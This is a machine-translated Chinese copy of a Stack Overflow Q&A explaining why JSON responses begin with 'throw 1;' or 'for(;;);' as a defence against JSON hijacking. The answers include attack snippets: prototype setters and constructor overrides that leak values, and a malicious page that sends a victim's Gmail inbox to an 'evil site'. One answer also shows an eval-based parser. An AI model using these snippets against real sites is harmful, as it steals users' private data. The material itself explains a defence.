首页 文章

为什么人们把代码放在“扔1; <dont be evil>“and”for(;;);“在json回应之前? [重复]

提问于
浏览
202

可能重复:为什么Google会在(1)之前添加;他们的JSON回复?

Google会像这样返回json:

throw 1; <dont be evil> { foo: bar}

和Facebook的ajax有这样的json:

for(;;); {"error":0,"errorSummary": ""}
  • 为什么他们放置会停止执行的代码并生成无效的json?

  • 如果它无效,它们如何解析它,如果你试图评估它会崩溃?

  • 他们只是从字符串中删除它(看起来很贵)?

  • 这有什么安全优势吗?

为了安全起见,它是为了回应:

如果刮刀在另一个域上,则必须使用 script 标记来获取数据,因为XHR不能跨域工作 . 即使没有 for(;;); 攻击者如何获取数据?它只是被垃圾收集,因为它没有引用它?

基本上,为了获得数据跨域,他们必须这样做

<script src="http://target.com/json.js"></script>

但即使没有安装崩溃脚本,攻击者也无法使用任何Json数据而不将其分配给您可以全局访问的变量(在这些情况下不是这样) . 崩溃代码没有任何效果,因为即使没有它,他们也必须使用服务器端脚本来使用其站点上的数据 .

4 回答

  • 183

    即使没有for(;;);攻击者如何获取数据?

    攻击基于改变内置类型的行为,特别是 ObjectArray ,通过改变它们的构造函数或它的 prototype . 然后,当目标JSON使用 {...}[...] 构造时,它们会自己拥有这些对象的版本,并且可能会出现意外行为 .

    例如,你可以将一个setter-property破解成 Object ,这会背叛用对象文字写的值:

    Object.prototype.__defineSetter__('x', function(x) {
        alert('Ha! I steal '+x);
    });
    

    然后当 <script> 指向某个使用该属性名称的JSON时:

    {"x": "hello"}
    

    "hello" 将被泄露 .

    数组和对象文字导致调用setter的方式是有争议的 . 为了响应对高知名度网站的公开攻击,Firefox删除了3.5版中的行为 . 然而在撰写本文时,Safari(4)和Chrome(5)仍然容易受到攻击 .

    所有浏览器现在都不允许的另一个攻击是重新定义构造函数:

    Array= function() {
        alert('I steal '+this);
    };
    
    [1, 2, 3]
    

    目前,IE8的属性实现(基于ECMAScript第五版标准和 Object.defineProperty )目前不适用于 Object.prototypeArray.prototype .

    但是,除了保护过去的浏览器之外,JavaScript的扩展可能会在未来导致类似类型的更多潜在泄漏,在这种情况下,箔条也应该防范这些泄漏 .

  • 23

    考虑一下,在检查您的GMail帐户后,您将访问我的恶意页面:

    <script type="text/javascript">
    Object = function() {
      ajaxRequestToMyEvilSite(JSON.serialize(this));
    }
    </script>
    <script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>
    

    现在将会发生的是,来自谷歌的Javascript代码 - 提问者认为是良性且立即超出范围 - 实际上将被发布到我的邪恶网站 . 假设脚本标记中请求的URL发送(因为您的浏览器将显示正确的cookie,Google会正确地认为您已登录到您的收件箱):

    ({
      messages: [
        {
          id: 1,
          subject: 'Super confidential information',
          message: 'Please keep this to yourself: the password is 42'
        },{
          id: 2,
          subject: 'Who stole your password?',
          message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
        }
      ]
    })
    

    现在,我将把这个对象的序列化版本发布到我的邪恶服务器上 . 谢谢!

    防止这种情况发生的方法是摧毁您的JSON响应,并在您从同一域中操作该数据时将其解除 . 如果你喜欢这个答案,请接受bobince发布的那个 .

  • 5

    EDIT

    这些字符串通常称为"unparseable cruft",它们用于修补影响JSON规范的信息泄漏漏洞 . 这次攻击是现实世界和a vulnerability in gmail was discovered by Jeremiah Grossman . Mozilla也认为这是JSON规范中的一个漏洞,它已经patched in Firefox 3 . 但是,由于此问题仍会影响其他浏览器,因此需要使用"unparseable cruft",因为它是兼容的修补程序 .

    Bobice的回答是对此攻击的技术解释,这是正确的 .

  • 56

    如果它无效,它们如何解析它,如果你试图评估它会崩溃?

    这是一个功能,如果你尝试 eval 它会崩溃 . eval 允许任意JavaScript代码,可用于跨站点脚本攻击 .

    他们只是从字符串中删除它(看起来很贵)?

    我想是这样的 . 可能类似于:

    function parseJson(json) {
       json = json.replace("throw 1; <dont be evil>", "");
       if (/* regex to validate the JSON */) {
           return eval(json);
       } else {
           throw "XSS";
       }
    }
    

    "don't be evil" cruft阻止开发人员直接使用 eval 而不是更安全的替代方案 .

相关问题